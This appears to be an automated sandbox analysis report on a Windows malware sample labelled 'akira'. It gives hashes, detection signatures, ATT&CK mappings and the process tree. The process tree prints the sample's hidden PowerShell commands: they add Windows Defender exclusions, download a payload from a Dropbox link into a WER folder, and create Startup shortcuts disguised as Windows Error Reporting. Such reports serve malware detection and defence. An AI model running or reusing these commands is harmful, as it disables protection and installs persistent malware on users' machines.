Analysis
- max time kernel
151s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
- Size 75.5MB
- Sample260804-qctppsfl31
- SHA256 d938b5136d13fbbb4d8c677bc1d05b81ffd3bc0167589541b4ba8e5534508e8c
- MD5 0c891d1001c4afc7c8d794324b2f2360
- SHA1 f24de9c0b31b6aa65cb7fb8f1793c8752ffec623
- SHA512 510fe923a32b4a0bd09408f4024f95b4313e4c7d0e6c0fed20ef9592a8493782891669a5b287585381a6418c31fc3a3fd047dc2870ff48f2182ba93da26b9482
- SSDEEP 12288:+K9/gTk669h/OT7VhaThf6Hvr9JDy7OSetn:+08kJC+Tx8RbSetn
- TLSH T1BE087E92BAC46CFDD602C03C4267937A623A7BCA53215FF705A95A302F97DC16E0A71D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects executables referencing virtualization MAC addresses 7 IoCs
resource yara_rule behavioral2/memory/3036-46-0x00007FF6A38A0000-0x00007FF6A390F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/5424-80-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/1696-83-0x00007FF646B10000-0x00007FF646B7F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/2408-87-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/3036-86-0x00007FF6A38A0000-0x00007FF6A390F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/696-88-0x00007FF646B10000-0x00007FF646B7F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb behavioral2/memory/4608-89-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb - Looks for VirtualBox drivers on disk 2 TTPs 5 IoCs
description ioc Process File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys monitor.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 2364 powershell.exe 5 2364 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell and hide display window.
pid Process 5152 powershell.exe 2364 powershell.exe 476 powershell.exe 2328 powershell.exe 2080 powershell.exe 2488 powershell.exe 5152 powershell.exe 2080 powershell.exe 2488 powershell.exe 2364 powershell.exe - Looks for VMWare drivers on disk 2 TTPs 5 IoCs
description ioc Process File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys monitor.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk powershell.exe - Executes dropped EXE 5 IoCs
pid Process 5424 WerFault.exe 696 monitor.exe 4608 WerFault.exe 1696 monitor.exe 2408 WerFault.exe - Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org 9 api.ipify.org - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\test_admin.tmp 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe File opened for modification C:\Windows\System32\test_admin.tmp WerFault.exe File opened for modification C:\Windows\System32\test_admin.tmp monitor.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4952 cmd.exe 4424 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 5152 powershell.exe 5152 powershell.exe 2364 powershell.exe 2364 powershell.exe 476 powershell.exe 476 powershell.exe 476 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2080 powershell.exe 2080 powershell.exe 2080 powershell.exe 2488 powershell.exe 2488 powershell.exe 2488 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5152 powershell.exe Token: SeIncreaseQuotaPrivilege 5152 powershell.exe Token: SeSecurityPrivilege 5152 powershell.exe Token: SeTakeOwnershipPrivilege 5152 powershell.exe Token: SeLoadDriverPrivilege 5152 powershell.exe Token: SeSystemProfilePrivilege 5152 powershell.exe Token: SeSystemtimePrivilege 5152 powershell.exe Token: SeProfSingleProcessPrivilege 5152 powershell.exe Token: SeIncBasePriorityPrivilege 5152 powershell.exe Token: SeCreatePagefilePrivilege 5152 powershell.exe Token: SeBackupPrivilege 5152 powershell.exe Token: SeRestorePrivilege 5152 powershell.exe Token: SeShutdownPrivilege 5152 powershell.exe Token: SeDebugPrivilege 5152 powershell.exe Token: SeSystemEnvironmentPrivilege 5152 powershell.exe Token: SeRemoteShutdownPrivilege 5152 powershell.exe Token: SeUndockPrivilege 5152 powershell.exe Token: SeManageVolumePrivilege 5152 powershell.exe Token: 33 5152 powershell.exe Token: 34 5152 powershell.exe Token: 35 5152 powershell.exe Token: 36 5152 powershell.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeDebugPrivilege 476 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeDebugPrivilege 2080 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeIncreaseQuotaPrivilege 2080 powershell.exe Token: SeSecurityPrivilege 2080 powershell.exe Token: SeTakeOwnershipPrivilege 2080 powershell.exe Token: SeLoadDriverPrivilege 2080 powershell.exe Token: SeSystemProfilePrivilege 2080 powershell.exe Token: SeSystemtimePrivilege 2080 powershell.exe Token: SeProfSingleProcessPrivilege 2080 powershell.exe Token: SeIncBasePriorityPrivilege 2080 powershell.exe Token: SeCreatePagefilePrivilege 2080 powershell.exe Token: SeBackupPrivilege 2080 powershell.exe Token: SeRestorePrivilege 2080 powershell.exe Token: SeShutdownPrivilege 2080 powershell.exe Token: SeDebugPrivilege 2080 powershell.exe Token: SeSystemEnvironmentPrivilege 2080 powershell.exe Token: SeRemoteShutdownPrivilege 2080 powershell.exe Token: SeUndockPrivilege 2080 powershell.exe Token: SeManageVolumePrivilege 2080 powershell.exe Token: 33 2080 powershell.exe Token: 34 2080 powershell.exe Token: 35 2080 powershell.exe Token: 36 2080 powershell.exe Token: SeIncreaseQuotaPrivilege 2488 powershell.exe Token: SeSecurityPrivilege 2488 powershell.exe Token: SeTakeOwnershipPrivilege 2488 powershell.exe Token: SeLoadDriverPrivilege 2488 powershell.exe Token: SeSystemProfilePrivilege 2488 powershell.exe Token: SeSystemtimePrivilege 2488 powershell.exe Token: SeProfSingleProcessPrivilege 2488 powershell.exe Token: SeIncBasePriorityPrivilege 2488 powershell.exe Token: SeCreatePagefilePrivilege 2488 powershell.exe Token: SeBackupPrivilege 2488 powershell.exe Token: SeRestorePrivilege 2488 powershell.exe Token: SeShutdownPrivilege 2488 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeSystemEnvironmentPrivilege 2488 powershell.exe Token: SeRemoteShutdownPrivilege 2488 powershell.exe Token: SeUndockPrivilege 2488 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 3036 wrote to memory of 5152 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 89 PID 3036 wrote to memory of 2364 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 92 PID 3036 wrote to memory of 476 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 94 PID 3036 wrote to memory of 2328 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 96 PID 3036 wrote to memory of 4424 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 99 PID 5424 wrote to memory of 2080 5424 WerFault.exe 103 PID 4424 wrote to memory of 696 4424 cmd.exe 105 PID 696 wrote to memory of 4952 696 monitor.exe 106 PID 4952 wrote to memory of 4608 4952 cmd.exe 108 PID 1696 wrote to memory of 2488 1696 monitor.exe 110 PID 3036 wrote to memory of 2408 3036 2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe 112
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe"1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/wsnb7liivxcs9zaxghnyv/777.sgn?rlkey=mq9c5ws3n5t6ajmggcg4m0xsi&st=qooyxj50&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328
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C:\Windows\system32\cmd.exe"cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\ProgramData\Microsoft\Windows\WER\monitor.exeC:\ProgramData\Microsoft\Windows\WER\monitor.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:696 -
C:\Windows\system32\cmd.exe"cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\ProgramData\Microsoft\Windows\WER\WerFault.exeC:\ProgramData\Microsoft\Windows\WER\WerFault.exe5⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Checks processor information in registry
PID:4608
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C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"2⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
PID:2408
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C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exeC:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
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C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exeC:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
- Size 12.4MB
- SHA256 3f71282cafee16fd77480dee5b76ce7c53c40e0813cc61ddd27292acf7036030
- MD5 6370511f8559dc0800340ee95b64222f
- SHA1 506e8ad73d5a8c49cc50da9db55bfe32545b2fcc
- SHA512 c7378f79a8b628769dbe11a7f3316515942beb4db951c013579d5107d46144ce25768f2568d823f295f4d11d9a01d3b7c8b36d3d5226465fe2c8b2668d7fc5ec
- SSDEEP 393216:cQr1f7ArUqp/WcPPhx4K1Ftx6s421Ox1p7oY:ztMRWc34O56m+p7oY
- TLSH T18BD633EA50F41431922487F40D3DE81150B3E8E3D8A1DCA5BE367EEAC8F64E55EA8C65
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 ba3f7f36154eeec9db2f0b054d9f382e84114a19b4dc866ba5ddc035207cbf01
- MD5 11c09c1f0ea83de7ee126e0367d61989
- SHA1 2a7ee61621073c03943cafa359574d7f39233212
- SHA512 b03d0afc3193ab4bd729e1927e8ac83b4c3b04639824507c0805e24cdfbe5afc2d66d29df3fd0440776f418288da5c67c0429e69b096cd2fe727a409fdb1f203
- TLSH T17D117A33F3CC8724DC9A403650CEEC1036B6CBDB409ECE5BAB84D548B42F299CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
- MD5 836da308c17b18155d513895baff5404
- SHA1 548067c779da32edfafb48a6f14e086ed6dac113
- SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
- TLSH T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljtqbhfq.yc4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH